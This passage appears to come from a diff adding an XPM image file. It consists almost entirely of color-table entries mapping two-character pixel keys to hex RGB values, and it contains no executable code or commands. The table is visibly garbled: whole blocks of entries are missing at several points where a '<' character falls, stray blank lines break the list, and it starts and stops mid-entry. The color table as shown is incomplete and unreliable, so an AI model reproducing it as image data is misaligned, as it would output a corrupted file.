#9B964A", +"^4 c #B1A4A0", +"/4 c #FFF8E3", +"(4 c #F5EBDD", +"_4 c #F6EEE1", +":4 c #F6EEE2", +"<4 c #F6EDE1", +"[4 c #FFF9E7", +"}4 c #E3D6C7", +"|4 c #444431", +"14 c #4D502C", +"24 c #81844F", +"34 c #BFC473", +"44 c #D8DE86", +"54 c #D3DA8A", +"64 c #E7EB80", +"74 c #888250", +"84 c #DBD2D1", +"94 c #FFFAE4", +"04 c #FFFFFA", +"a4 c #90887C", +"b4 c #333611", +"c4 c #6E7043", +"d4 c #A6A45D", +"e4 c #D6D47F", +"f4 c #D9D98C", +"g4 c #DDDB8B", +"h4 c #DDDA8A", +"i4 c #DEDB8A", +"j4 c #F8F595", +"k4 c #A8A65E", +"l4 c #A19889", +"m4 c #FFFFE6", +"n4 c #EBDBC1", +"o4 c #968E80", +"p4 c #141400", +"q4 c #2F2D17", +"r4 c #C1BAAF", +"s4 c #FEFBEC", +"t4 c #8D8472", +"u4 c #171600", +"v4 c #46412B", +"w4 c #B4AB9E", +"x4 c #FFFBE0", +"y4 c #EFE0C8", +"z4 c #ECDEC8", +"A4 c #EDDDC6", +"B4 c #E8D7BC", +"C4 c #F2DCB7", +"D4 c #FFE9B6", +"E4 c #6A5D48", +"F4 c #2C2814", +"G4 c #6C613C", +"H4 c #776A50", +"I4 c #A1946B", +"J4 c #D5CE78", +"K4 c #A19875", +"L4 c #FAF673", +"M4 c #FFFF71", +"N4 c #D6CA70", +"O4 c #A58D6F", +"P4 c #C1A46D", +"Q4 c #D3B16C", +"R4 c #DFB76A", +"S4 c #E6BB69", +"T4 c #EABC67", +"U4 c #EBBB66", +"V4 c #EBBB65", +"W4 c #EAB863", +"X4 c #E3B162", +"Y4 c #D7A960", +"Z4 c #CDA25E", +"`4 c #B6895D", +" 5 c #E7D65F", +".5 c #F4E059", +"+5 c #A55721", +"@5 c #663211", +"#5 c #FFE24C", +"$5 c #F8FF57", +"%5 c #F6FE54", +"&5 c #F6FE57", +"*5 c #F6FE5B", +"=5 c #F6FE5E", +"-5 c #F6FE61", +";5 c #F4FC62", +">5 c #F0F665", +",5 c #EBF267", +"'5 c #E7ED68", +")5 c #E0E669", +"!5 c #D3DA6B", +"~5 c #D0D66C", +"{5 c #E8E76D", +"]5 c #FCF86F", +"^5 c #FFF870", +"/5 c #EEEB71", +"(5 c #DFE072", +"_5 c #D4D774", +":5 c #CFD66D", +"<5 c #85825A", +"[5 c #DFCDC1", +"}5 c #F9EDDB", +"|5 c #F6EFE2", +"15 c #BDB2A3", +"25 c #36371B", +"35 c #666937", +"45 c #979B55", +"55 c #D3D777", +"65 c #E4EB82", +"75 c #FDFF92", +"85 c #828849", +"95 c #9D9294", +"05 c #FFFFF2", +"a5 c #FDF8E5", +"b5 c #E3D7CB", +"c5 c #424128", +"d5 c #5C5E2E", +"e5 c #7D7F4C", +"f5 c #C7C570", +"g5 c #EEEA86", +"h5 c #D7D789", +"i5 c #DBD988", +"j5 c #DCDA88", +"k5 c #E0DD87", +"l5 c #FFFB95", +"m5 c #8E8C55", +"n5 c #A99E96", +"o5 c #FFFADD", +"p5 c #FCF3D9", +"q5 c #D1C5B7", +"r5 c #363521", +"s5 c #636033", +"t5 c #635F29", +"u5 c #8C856E", +"v5 c #FFFEF4", +"w5 c #F4E9DA", +"x5 c #FFFAE7", +"y5 c #D7CCBB", +"z5 c #48443D", +"A5 c #CCC0B3", +"B5 c #EFE1CC", +"C5 c #EEDFCC", +"D5 c #EDDEC6", +"E5 c #E7D7BD", +"F5 c #F5E0BB", +"G5 c #FFE8B7", +"H5 c #756750", +"I5 c #292512", +"J5 c #675C36", +"K5 c #7F724C", +"L5 c #8B7B65", +"M5 c #DDD375", +"N5 c #EAE175", +"O5 c #F7F070", +"P5 c #CDBF6F", +"Q5 c #A48C6E", +"R5 c #C1A46C", +"S5 c #D4B26B", +"T5 c #DDB66A", +"U5 c #E5BA68", +"V5 c #E9BC67", +"W5 c #EABC66", +"X5 c #EBBB64", +"Y5 c #EBB962", +"Z5 c #E9B661", +"`5 c #E2B15F", +" 6 c #D8AA5E", +".6 c #CEA25C", +"+6 c #B8885A", +"@6 c #EFE05D", +"#6 c #EFD657", +"$6 c #AA5823", +"%6 c #693412", +"&6 c #FFE24B", +"*6 c #F7FF55", +"=6 c #F6FE52", +"-6 c #F6FE55", +";6 c #F6FE5A", +">6 c #F6FE5C", +",6 c #F6FE5D", +"'6 c #F5FD5E", +")6 c #F2FA60", +"!6 c #EEF562", +"~6 c #E8F063", +"{6 c #E3EA65", +"]6 c #D9E066", +"^6 c #CBD467", +"/6 c #DDE068", +"(6 c #FAF56A", +"_6 c #FAF56B", +":6 c #E5E66C", +"<6 c #D2D66E", +"[6 c #CBD26F", +"}6 c #CFD670", +"|6 c #DDE576", +"16 c #B4BD55", +"26 c #9F9776", +"36 c #FFF2DF", +"46 c #F1E7D7", +"56 c #F5ECE0", +"66 c #F4ECDE", +"76 c #8A8376", +"86 c #2B2F0B", +"96 c #767A3F", +"06 c #ACB15B", +"a6 c #E1E878", +"b6 c #FDFF8E", +"c6 c #C3CB5F", +"d6 c #7A7464", +"e6 c #FCF4EB", +"f6 c #F7EBD4", +"g6 c #857F71", +"h6 c #31340E", +"i6 c #737442", +"j6 c #A1A25D", +"k6 c #D5D57C", +"l6 c #FBF686", +"m6 c #EDE886", +"n6 c #DAD784", +"o6 c #D9D685", +"p6 c #DAD785", +"q6 c #F8F390", +"r6 c #8D8A56", +"s6 c #AFA399", +"t6 c #FFF5D9", +"u6 c #FFFFEB", +"v6 c #948C81", +"w6 c #212108", +"x6 c #807B4A", +"y6 c #827D39", +"z6 c #928B70", +"A6 c #FFFBF6", +"B6 c #F6EDDF", +"C6 c #F4E9DC", +"D6 c #FFF7E8", +"E6 c #FFFCEB", +"F6 c #EFE2D1", +"G6 c #F0E3D1", +"H6 c #EFE1CD", +"I6 c #FAE5BF", +"J6 c #FFE6B7", +"K6 c #6E624C", +"L6 c #26230F", +"M6 c #675B34", +"N6 c #87794B", +"O6 c #958263", +"P6 c #BEAF73", +"Q6 c #FFFB74", +"R6 c #E3DC6F", +"S6 c #B4A46E", +"T6 c #A9906D", +"U6 c #C4A76B", +"V6 c #D5B46A", +"W6 c #DEB769", +"X6 c #E5BA67", +"Y6 c #E9BD66", +"Z6 c #EABD64", +"`6 c #EBBA63", +" 7 c #EBBA62", +".7 c #EAB760", +"+7 c #E7B35F", +"@7 c #DFAE5D", +"#7 c #D5A75C", +"$7 c #C89A5A", +"%7 c #BF9359", +"&7 c #FBF35A", +"*7 c #DEB956", +"=7 c #B15D23", +"-7 c #6C3613", +";7 c #FFE249", +">7 c #F7FF53", +",7 c #F5FE51", +"'7 c #F5FE59", +")7 c #F3FC5B", +"!7 c #F1F95D", +"~7 c #ECF45E", +"{7 c #E6ED60", +"]7 c #E0E661", +"^7 c #D1DA63", +"/7 c #CCD364", +"(7 c #EDEB65", +"_7 c #FFFA67", +":7 c #E7E768", +"<7 c #CDD369", +"[7 c #CCD46A", +"}7 c #D6DD6B", +"|7 c #DDE36D", +"17 c #E0E66E", +"27 c #FCFF7B", +"37 c #99A044", +"47 c #998D81", +"57 c #F3E9DA", +"67 c #F6EDE0", +"77 c #FFFDEB", +"87 c #726D5B", +"97 c #3B4111", +"07 c #808440", +"a7 c #BFC561", +"b7 c #F1F87B", +"c7 c #FFFF82", +"d7 c #7E7F46", +"e7 c #C6B7B9", +"f7 c #DACFC2", +"g7 c #3B3B24", +"h7 c #5B5C2C", +"i7 c #838349", +"j7 c #C3C36D", +"k7 c #E2E181", +"l7 c #E9E683", +"m7 c #F8F182", +"n7 c #F2EE82", +"o7 c #F0EB82", +"p7 c #ECE883", +"q7 c #A39F53", +"r7 c #A3988F", +"s7 c #FFFCDF", +"t7 c #FDF5D9", +"u7 c #CCC2B4", +"v7 c #292814", +"w7 c #424011", +"x7 c #484421", +"y7 c #BDB9B2", +"z7 c #FFFEFA", +"A7 c #F9F0E3", +"B7 c #FCF2E5", +"C7 c #F3E8DA", +"D7 c #F2E6D6", +"E7 c #EEE0C9", +"F7 c #E8D7BD", +"G7 c #FFEBC3", +"H7 c #FBE3B5", +"I7 c #625744", +"J7 c #28240E", +"K7 c #6D6136", +"L7 c #8D7D4B", +"M7 c #A38E62", +"N7 c #B9A572", +"O7 c #FEF974", +"P7 c #F2EF6F", +"Q7 c #C7BC6E", +"R7 c #A08D6D", +"S7 c #AB926C", +"T7 c #CAAC6B", +"U7 c #D7B56A", +"V7 c #DFB868", +"W7 c #E5BB67", +"X7 c #E9BC66", +"Y7 c #EBBD64", +"Z7 c #EBBB63", +"`7 c #EBB961", +" 8 c #EAB860", +".8 c #E7B55E", +"+8 c #E2B05D", +"@8 c #D9A95C", +"#8 c #D0A35A", +"$8 c #B88659", +"%8 c #DBBF57", +"&8 c #FFF959", +"*8 c #C59154", +"=8 c #BC6A24", +"-8 c #6F3713", +";8 c #4F211E", +">8 c #CC6720", +",8 c #FFE248", +"'8 c #F7FF51", +")8 c #F5FE4F", +"!8 c #F5FE50", +"~8 c #F6FE53", +"{8 c #F5FE56", +"]8 c #F3FC58", +"^8 c #F0F959", +"/8 c #EBF25B", +"(8 c #E4EC5C", +"_8 c #DCE25E", +":8 c #CBD35F", +"<8 c #D3D761", +"[8 c #F9F462", +"}8 c #FBF563", +"|8 c #D5DA65", +"18 c #CBD365", +"28 c #D7DE67", +"38 c #DFE568", +"48 c #E3E969", +"58 c #E6ED6B", +"68 c #989B48", +"78 c #B5A49E", +"88 c #FFF7E0", +"98 c #FBEFE0", +"08 c #F5E6D8", +"a8 c #636044", +"b8 c #52581C", +"c8 c #8B9044", +"d8 c #CDD265", +"e8 c #B9C04D", +"f8 c #8D847D", +"g8 c #F0E1CA", +"h8 c #837D6F", +"i8 c #2A2D09", +"j8 c #71713F", +"k8 c #A1A158", +"l8 c #DDDC78", +"m8 c #EFEC82", +"n8 c #E5E380", +"o8 c #E2DE7F", +"p8 c #E8E580", +"q8 c #F0EA80", +"r8 c #EFEA80", +"s8 c #F2EE87", +"t8 c #BBB75F", +"u8 c #9C937F", +"v8 c #A29A89", +"w8 c #645F53", +"x8 c #B9B2AC", +"y8 c #FFFCF5", +"z8 c #F7EEE2", +"A8 c #F7EFE4", +"B8 c #F7EFE5", +"C8 c #F7EEE3", +"D8 c #F1E5D5", +"E8 c #FFF3CA", +"F8 c #EAD4AA", +"G8 c #4F4636", +"H8 c #2D2911", +"I8 c #74673A", +"J8 c #92814D", +"K8 c #AA9463", +"L8 c #C5AE71", +"M8 c #FFF973", +"N8 c #E9E26F", +"O8 c #CDC16E", +"P8 c #AD9A6D", +"Q8 c #A58D6C", +"R8 c #BFA36B", +"S8 c #D0B16A", +"T8 c #D9B769", +"U8 c #E2BA67", +"V8 c #E7BC66", +"W8 c #EABD65", +"X8 c #ECBD64", +"Y8 c #EBBC62", +"Z8 c #E9B85F", +"`8 c #E7B45E", +" 9 c #E2B05C", +".9 c #DAAA5B", +"+9 c #D1A459", +"@9 c #C19458", +"#9 c #B88B57", +"$9 c #FFFC55", +"%9 c #E1CA57", +"&9 c #BF8353", +"*9 c #C57225", +"=9 c #723914", +"-9 c #FFE247", +";9 c #F6FF4F", +">9 c #F5FE4D", +",9 c #F5FE4E", +"'9 c #F5FE53", +")9 c #F3FD54", +"!9 c #F0F956", +"~9 c #EBF357", +"{9 c #E3EA59", +"]9 c #D9E05A", +"^9 c #C7D05C", +"/9 c #DADC5D", +"(9 c #FFFB5E", +"_9 c #EFEC60", +":9 c #CBD161", +"<9 c #CFD763", +"[9 c #DDE464", +"}9 c #E3E965", +"|9 c #E8EF66", +"19 c #EDF367", +"29 c #F0F768", +"39 c #F3FB6A", +"49 c #F9FF61", +"59 c #A7A55E", +"69 c #DCC9C3", +"79 c #F7EAD7", +"89 c #FFF8E5", +"99 c #DED1C4", +"09 c #51512E", +"a9 c #646928", +"b9 c #989D4A", +"c9 c #DFE56D", +"d9 c #F6FB6E", +"e9 c #848351", +"f9 c #DDCFCE", +"g9 c #F9F0D8", +"h9 c #FEFAE2", +"i9 c #DFD2C3", +"j9 c #403E24", +"k9 c #5A5B2A", +"l9 c #7E7E45", +"m9 c #C1C067", +"n9 c #ECEA7D", +"o9 c #F2EE7F", +"p9 c #ECE97D", +"q9 c #E7E47D", +"r9 c #E3DE7D", +"s9 c #DED97E", +"t9 c #DBD57E", +"u9 c #DCD57E", +"v9 c #EAE37F", +"w9 c #7C774F", +"x9 c #CFBEB6", +"y9 c #FFF6D5", +"z9 c #EBDDC2", +"A9 c #FFF8E2", +"B9 c #F6ECDE", +"C9 c #F7F0E6", +"D9 c #F3E7D7", +"E9 c #EEE0CD", +"F9 c #F6E5CA", +"G9 c #FFFAD0", +"H9 c #C6B391", +"I9 c #393324", +"J9 c #322D14", +"K9 c #786B3E", +"L9 c #8E7D50", +"M9 c #AD9664", +"N9 c #DAC870", +"O9 c #F8ED72", +"P9 c #DED170", +"Q9 c #C1AD6E", +"R9 c #B09A6D", +"S9 c #AA926C", +"T9 c #BAA16B", +"U9 c #CAAE6A", +"V9 c #D2B269", +"W9 c #DBB868", +"X9 c #E2BB66", +"Y9 c #E7BC65", +"Z9 c #E9BC64", +"`9 c #EABC63", +" 0 c #E9BB62", +".0 c #E8B960", +"+0 c #E6B55F", +"@0 c #E3B35D", +"#0 c #DEAE5C", +"$0 c #D8A95B", +"%0 c #D0A459", +"&0 c #C49957", +"*0 c #AE7C56", +"=0 c #E9D655", +"-0 c #FCF353", +";0 c #B98B55", +">0 c #CF9651", +",0 c #CC7526", +"'0 c #753B15", +")0 c #FFE246", +"!0 c #F6FF4D", +"~0 c #F4FE4B", +"{0 c #F3FD51", +"]0 c #F0F952", +"^0 c #EAF354", +"/0 c #E2EA55", +"(0 c #D7DE57", +"_0 c #C2CC58", +":0 c #E1E15A", +"<0 c #FFFE5B", +"[0 c #DEDF5C", +"}0 c #C5CE5D", +"|0 c #D4DC5F", +"10 c #E1E760", +"20 c #E6EE62", +"30 c #ECF362", +"40 c #F0F864", +"50 c #F3FB65", +"60 c #F5FD66", +"70 c #FCFF6A", +"80 c #E2EF51", +"90 c #A69F6E", +"00 c #F5E0D6", +"a0 c #FFFFF0", +"b0 c #B9AFA0", +"c0 c #3C3F15", +"d0 c #737733", +"e0 c #A5A94E", +"f0 c #B4BB4A", +"g0 c #9F9490", +"h0 c #817B6C", +"i0 c #343509", +"j0 c #706F3C", +"k0 c #9D9C54", +"l0 c #DAD772", +"m0 c #F2EE7C", +"n0 c #F1EE7B", +"o0 c #EEEB7A", +"p0 c #EAE67B", +"q0 c #E7E17B", +"r0 c #E3DD7B", +"s0 c #E0DA7B", +"t0 c #DED67A", +"u0 c #EFE685", +"v0 c #B8B260", +"w0 c #686053", +"x0 c #EADCCC", +"y0 c #FFFFDC", +"z0 c #F2E3C8", +"A0 c #F1E4CF", +"B0 c #F2E6D7", +"C0 c #F6EDE2", +"D0 c #F1E3D1", +"E0 c #FFFBDC", +"F0 c #FFECC7", +"G0 c #887C63", +"H0 c #242113", +"I0 c #403A1F", +"J0 c #746844", +"K0 c #847354", +"L0 c #B9A767", +"M0 c #F0E470", +"N0 c #F4E971", +"O0 c #C8B66E", +"P0 c #AD956D", +"Q0 c #B39C6C", +"R0 c #BCA46B", +"S0 c #C3A96A", +"T0 c #C9AD68", +"U0 c #CFB067", +"V0 c #D5B466", +"W0 c #DBB765", +"X0 c #E0B864", +"Y0 c #E1B763", +"Z0 c #E2B761", +"`0 c #E1B560", +" a c #DFB45F", +".a c #DDB05E", +"+a c #DAAD5D", +"@a c #D6AA5B", +"#a c #D2A65A", +"$a c #CDA258", +"%a c #BF9257", +"&a c #AE7D56", +"*a c #DAC254", +"=a c #FFFF52", +"-a c #C7A051", +";a c #BC8952", +">a c #D89E4F", +",a c #D37927", +"'a c #783D16", +")a c #FFE144", +"!a c #F6FF4B", +"~a c #F4FE49", +"{a c #F4FF4B", +"]a c #F4FE4C", +"^a c #F4FE4D", +"/a c #F1FA4F", +"(a c #EBF450", +"_a c #E2EA52", +":a c #D8E053", +"b c #CAA059", +",b c #C29758", +"'b c #B28256", +")b c #B58955", +"!b c #E7D753", +"~b c #D6B851", +"{b c #B67F4F", +"]b c #CE9C50", +"^b c #DD9F4E", +"/b c #D97C28", +"(b c #7B3E16", +"_b c #FFDF43", +":b c #F5FF49", +"c c #CAA25D", +",c c #C79F5C", +"'c c #C49B5B", +")c c #BD935A", +"!c c #B68B58", +"~c c #B48957", +"{c c #BB9356", +"]c c #D4BB54", +"^c c #FAF553", +"/c c #F9F352", +"(c c #CAA750", +"_c c #B5804F", +":c c #CB974D", +"d c #EDE367", +",d c #EBE066", +"'d c #E3D965", +")d c #DED264", +"!d c #CCBE63", +"~d c #CAB962", +"{d c #C8B561", +"]d c #C7B060", +"^d c #CCB25F", +"/d c #C8AB5D", +"(d c #C5A45C", +"_d c #C3A05B", +":d c #C5A35A", +"e c #9A934D", +",e c #DED566", +"'e c #FFFF6B", +")e c #FFFF69", +"!e c #FDF668", +"~e c #F3EB67", +"{e c #F8F066", +"]e c #FFF865", +"^e c #FFFF64", +"/e c #FFFF63", +"(e c #FFFF62", +"_e c #FFFE61", +":e c #FFFF5F", +"f c #F1E3D2", +",f c #FFFBE1", +"'f c #A0947D", +")f c #272210", +"!f c #574D33", +"~f c #6C5F4F", +"{f c #C9BE66", +"]f c #F5F46A", +"^f c #D5CD67", +"/f c #B2A666", +"(f c #9E8F66", +"_f c #A08D65", +":f c #A59264", +"g c #DFD36C", +",g c #DED16C", +"'g c #D4C56B", +")g c #D3C46B", +"!g c #F0E76B", +"~g c #FAF36B", +"{g c #F4EA73", +"]g c #8C8143", +"^g c #A5998F", +"/g c #F1E4D3", +"(g c #FFF9DF", +"_g c #A0937B", +":g c #2D280F", +"h c #F0E969", +",h c #E7E068", +"'h c #BCB668", +")h c #CEC768", +"!h c #F7EF69", +"~h c #E0D769", +"{h c #D5CB69", +"]h c #E1D569", +"^h c #E2D569", +"/h c #E4D669", +"(h c #DED069", +"_h c #D2C269", +":h c #DDD069", +"i c #C5B4A1", +",i c #2F2E10", +"'i c #646227", +")i c #88843C", +"!i c #C1BB58", +"~i c #CEC865", +"{i c #DBD466", +"]i c #EAE265", +"^i c #B7B065", +"/i c #EBE366", +"(i c #E4DC66", +"_i c #CCC366", +":i c #E0D466", +"j c #FFFAE9", +",j c #D5C8C2", +"'j c #3C3921", +")j c #57570C", +"!j c #615D3E", +"~j c #EEDED0", +"{j c #F6E6C9", +"]j c #EBDABC", +"^j c #766E5C", +"/j c #313206", +"(j c #726E31", +"_j c #A39E46", +":j c #D3CB5D", +"k c #D6D649", +",k c #DADA4B", +"'k c #DCDC4C", +")k c #D5D64D", +"!k c #E6E34E", +"~k c #F9F251", +"{k c #B5BA37", +"]k c #847B54", +"^k c #F3DCC5", +"/k c #EFE0CB", +"(k c #BDB3AC", +"_k c #414111", +":k c #414203", +"l c #ECE43F", +",l c #8F8E41", +"'l c #9A9A42", +")l c #A9AA43", +"!l c #B4B444", +"~l c #E9E246", +"{l c #E9E347", +"]l c #CDCE47", +"^l c #D7D649", +"/l c #D5D34B", +"(l c #F1EA4C", +"_l c #EAE751", +":l c #A9AB32", +"m c #E7E238", +",m c #D8D339", +"'m c #C6C13A", +")m c #A6A33B", +"!m c #CFC63D", +"~m c #E5DF3F", +"{m c #A4A240", +"]m c #B4B141", +"^m c #E8E043", +"/m c #F1E844", +"(m c #CECA45", +"_m c #D2CF46", +":m c #D5D247", +"n c #E1993A", +",n c #E99A3B", +"'n c #FDD035", +")n c #F1F532", +"!n c #F1E734", +"~n c #F0E834", +"{n c #E8E136", +"]n c #D9D437", +"^n c #CAC538", +"/n c #A9A73A", +"(n c #A8A43A", +"_n c #FFFA3C", +":n c #F7F13D", +"o c #D39B43", +",o c #DC9F42", +"'o c #E09F41", +")o c #E29F40", +"!o c #E39F3D", +"~o c #E39D3C", +"{o c #E39B3B", +"]o c #E29A3C", +"^o c #E39C40", +"/o c #E29E41", +"(o c #EA9C40", +"_o c #CC6A23", +":o c #FCCE34", +"p c #B28348", +",p c #C3A546", +"'p c #FFFF45", +")p c #FFFF44", +"!p c #DAC944", +"~p c #A57A43", +"{p c #AB7842", +"]p c #C99440", +"^p c #D3983F", +"/p c #D99B3F", +"(p c #DF9E40", +"_p c #E2A041", +":p c #E4A244", +"

    q c #B39A75", +",q c #3F3E16", +"'q c #6D6721", +")q c #857438", +"!q c #9E7E4A", +"~q c #BA954E", +"{q c #CDA64C", +"]q c #D5A94B", +"^q c #DFAE4A", +"/q c #E4B04A", +"(q c #E7B149", +"_q c #E6B048", +":q c #E0AB47", +"r c #F5E7DC", +",r c #F5E7DF", +"'r c #F5E8E0", +")r c #F7EBE1", +"!r c #FAEEE3", +"~r c #FBEFE3", +"{r c #FAEDE1", +"]r c #F7EADC", +"^r c #F3E4D3", +"/r c #EEDCC7", +"(r c #E7D1B4", +"_r c #F8D8A7", +":r c #AA9071", +"s c #CCB750", +",s c #FFF559", +"'s c #DACE3D", +")s c #5C502E", +"!s c #A8988C", +"~s c #FFEDCC", +"{s c #EFDBBD", +"]s c #EBD9C2", +"^s c #EFDECA", +"/s c #F0E0CF", +"(s c #F3E4D6", +"_s c #F4E4D8", +":s c #F4E4DA", +"t c #343202", +",t c #706826", +"'t c #A79B3A", +")t c #C6B649", +"!t c #C7B64C", +"~t c #EEE24B", +"{t c #C6B94C", +"]t c #D5C94C", +"^t c #DFD14D", +"/t c #C2AE4D", +"(t c #D4BF4D", +"_t c #D6C14D", +":t c #D5C04D", +"u c #FFF5E5", +",u c #F0DDCB", +"'u c #EDDBC4", +")u c #F3DDBE", +"!u c #DAC1A5", +"~u c #484125", +"{u c #4D4910", +"]u c #79702A", +"^u c #A99A3E", +"/u c #C5B549", +"(u c #F3E84B", +"_u c #D9CC4A", +":u c #AC9A4A", +"v c #887836", +",v c #DFC2AE", +"'v c #E8D1B3", +")v c #F5E6D7", +"!v c #F6E7DB", +"~v c #FDEFE6", +"{v c #DED1C6", +"]v c #E3D4C6", +"^v c #FEEDDD", +"/v c #EEDDC9", +"(v c #B5A087", +"_v c #302C0B", +":v c #5A521D", +"w c #DEC700", +",w c #D7C100", +"'w c #C7B100", +")w c #D6C400", +"!w c #E4D400", +"~w c #BDA700", +"{w c #D1BB00", +"]w c #948600", +"^w c #7B6A49", +"/w c #F6D6B4", +"(w c #E8D2B3", +"_w c #ECDAC3", +":w c #EFDECE", +"x c #E7CB00", +",x c #DAC000", +"'x c #CDB500", +")x c #B7A100", +"!x c #EEDF00", +"~x c #B29F00", +"{x c #BDA800", +"]x c #CEB800", +"^x c #DCC400", +"/x c #D6BF00", +"(x c #C5AE00", +"_x c #D9C700", +":x c #E3D200", +"y c #B56500", +",y c #C56E00", +"'y c #D47400", +")y c #D87400", +"!y c #E07705", +"~y c #7E441D", +"{y c #F7BC12", +"]y c #E8D500", +"^y c #E9CB00", +"/y c #E7CA00", +"(y c #DCC100", +"_y c #CFB600", +":y c #BDA400", +"z c #CA7800", +",z c #B86D00", +"'z c #A15800", +")z c #915100", +"!z c #FDF000", +"~z c #D4B300", +"{z c #8E3F00", +"]z c #B36400", +"^z c #C56C00", +"/z c #D67200", +"(z c #E07505", +"_z c #F7BA12", +":z c #E8D200", +"A c #D38400", +",A c #D88500", +"'A c #DA8300", +")A c #DB8400", +"!A c #DE8500", +"~A c #D98200", +"{A c #C97800", +"]A c #B86C00", +"^A c #9E5400", +"/A c #9C5E00", +"(A c #FFFC00", +"_A c #914100", +":A c #B46400", +"B c #9F5700", +",B c #BE7700", +"'B c #CE8100", +")B c #D38100", +"!B c #D78200", +"~B c #DA8400", +"{B c #D58100", +"]B c #C67600", +"^B c #B56A00", +"/B c #984D00", +"(B c #A16700", +"_B c #B98A00", +":B c #954500", +"C c #9D6300", +",C c #C3A200", +"'C c #DFD100", +")C c #E4D200", +"!C c #D3BE00", +"~C c #CFB300", +"{C c #D7BE00", +"]C c #E1CE00", +"^C c #CAA000", +"/C c #A95C00", +"(C c #C27500", +"_C c #CC7E00", +":C c #D28000", +"D c #352500", +",D c #6F4C00", +"'D c #9D6C00", +")D c #CA8B00", +"!D c #CC8B00", +"~D c #B07000", +"{D c #A16600", +"]D c #F1E200", +"^D c #DEC600", +"/D c #A37000", +"(D c #844500", +"_D c #8A4A00", +":D c #A76E00", +"E c #DCA475", +",E c #E8AA72", +"'E c #654A26", +")E c #362500", +"!E c #704D00", +"~E c #C28600", +"{E c #B37800", +"]E c #996200", +"^E c #E5D700", +"/E c #F7F900", +"(E c #A57B00", +"_E c #824200", +":E c #965800", +"F c #E3B095", +",F c #E5B297", +"'F c #E5B292", +")F c #E3AE89", +"!F c #E1AB80", +"~F c #E6AB77", +"{F c #534028", +"]F c #291E08", +"^F c #583F10", +"/F c #765416", +"(F c #825B18", +"_F c #754E15", +":F c #795715", +"G c #DEAB00", +",G c #6D530C", +"'G c #945932", +")G c #C88747", +"!G c #CD975C", +"~G c #DCAA70", +"{G c #D9A783", +"]G c #DCAA91", +"^G c #E3B198", +"/G c #E6B399", +"(G c #E6B294", +"_G c #E3AF8C", +":G c #E0AA83", +"H c #EDD900", +",H c #B98900", +"'H c #D4A100", +")H c #B08B00", +"!H c #734C1B", +"~H c #BE7335", +"{H c #BC8149", +"]H c #CD975E", +"^H c #DFAD73", +"/H c #DDAC86", +"(H c #DCA993", +"_H c #E2B099", +":H c #E5B399", +"I c #F1DE00", +",I c #CDA700", +"'I c #D79E00", +")I c #886C04", +"!I c #734424", +"~I c #C77931", +"{I c #BC8047", +"]I c #CA935B", +"^I c #DCAA71", +"/I c #E1B084", +"(I c #DCAA92", +"_I c #E2AF99", +":I c #E5B099", +"J c #584500", +",J c #7F6300", +"'J c #B88F00", +")J c #D0A100", +"!J c #BB8700", +"~J c #E5CC00", +"{J c #E7D000", +"]J c #D29700", +"^J c #7A6009", +"/J c #774227", +"(J c #C3732B", +"_J c #BA7B40", +":J c #C58C55", +"K c #BB6A27", +",K c #8B5227", +"'K c #2D2809", +")K c #594600", +"!K c #C29500", +"~K c #D4A300", +"{K c #C69300", +"]K c #C89F00", +"^K c #F0DE00", +"/K c #D4A200", +"(K c #947303", +"_K c #643B21", +":K c #BF682A", +"L c #AB5C28", +",L c #AC6124", +"'L c #A96029", +")L c #422F11", +"!L c #433900", +"~L c #826500", +"{L c #BD9200", +"]L c #D09F00", +"^L c #B88300", +"/L c #E4CA00", +"(L c #CA8F00", +"_L c #796109", +":L c #5E3123", +"M c #A45527", +",M c #A65B22", +"'M c #BF6827", +")M c #663E1B", +"!M c #725800", +"~M c #AD8500", +"{M c #D2A100", +"]M c #C59100", +"^M c #D4A800", +"/M c #CC9600", +"(M c #755E07", +"_M c #532E1C", +":M c #A75C33", +"N c #9C8E10", +",N c #883B25", +"'N c #AA5C21", +")N c #B66023", +"!N c #864B24", +"~N c #221F07", +"{N c #5A4400", +"]N c #937200", +"^N c #C89900", +"/N c #D6A100", +"(N c #D09E00", +"_N c #B98300", +":N c #DDBF00", +"O c #A45620", +",O c #B35C25", +"'O c #452D15", +")O c #2D2600", +"!O c #785900", +"~O c #B38900", +"{O c #D2A000", +"]O c #CA9900", +"^O c #BD8800", +"/O c #D4AE00", +"(O c #B57A00", +"_O c #E0A400", +":O c #B78900", +"P c #1D0A03", +",P c #6C3B1E", +"'P c #BA5D20", +")P c #A0531E", +"!P c #B95C20", +"~P c #7B4321", +"{P c #1B1905", +"]P c #593D00", +"^P c #957100", +"/P c #C79A00", +"(P c #D3A100", +"_P c #D19E00", +":P c #BF8700", +"

    Q c #B05320", +",Q c #A0511C", +"'Q c #A2511C", +")Q c #B25621", +"!Q c #422C15", +"~Q c #262100", +"{Q c #735000", +"]Q c #B18500", +"^Q c #D09D00", +"/Q c #D29F00", +"(Q c #CE9C00", +"_Q c #B97C00", +":Q c #E3C600", +"R c #9E4D1C", +",R c #B4541C", +"'R c #7F411F", +")R c #212607", +"!R c #513500", +"~R c #8F6500", +"{R c #C29100", +"]R c #D29E00", +"^R c #CA9400", +"/R c #BC8100", +"(R c #EFDC00", +"_R c #F2E100", +":R c #B67B00", +"S c #333400", +",S c #684000", +"'S c #AA7A00", +")S c #CB9700", +"!S c #C68F00", +"~S c #BD8100", +"{S c #F1DF00", +"]S c #7A4B09", +"^S c #8A492B", +"/S c #C17638", +"(S c #C07E40", +"_S c #C28042", +":S c #C38341", +"T c #BD7033", +",T c #BE7A3B", +"'T c #C07C3E", +")T c #BC783C", +"!T c #BB7134", +"~T c #A75428", +"{T c #4E3D0F", +"]T c #4E4F00", +"^T c #593300", +"/T c #854500", +"(T c #B67200", +"_T c #C07D00", +":T c #C07A00", +"U c #A45A00", +",U c #AA5B00", +"'U c #BA7500", +")U c #BF7900", +"!U c #C07800", +"~U c #C27900", +"{U c #C37A00", +"]U c #C47C00", +"^U c #C67C00", +"/U c #C77C00", +"(U c #CB7C00", +"_U c #D08000", +":U c #D88600", +"V c #F8FF00", +",V c #EEE000", +"'V c #B87D00", +")V c #A25000", +"!V c #AC5B00", +"~V c #BB7200", +"{V c #C17900", +"]V c #C27A00", +"^V c #C57D00", +"/V c #C97E00", +"(V c #D18300", +"_V c #D88800", +":V c #DB8A00", +"W c #D58600", +",W c #DA8A00", +"'W c #DD8B00", +")W c #E08A00", +"!W c #E18B00", +"~W c #E18C00", +"{W c #E08500", +"]W c #E08400", +"^W c #E08300", +"/W c #DE7B00", +"(W c #DD7800", +"_W c #E57B05", +":W c #5F2E1A", +"X c #DC7700", +",X c #E67A05", +"'X c #7D431D", +")X c #5D2D1A", +"!X c #B96422", +"~X c #D89510", +"{X 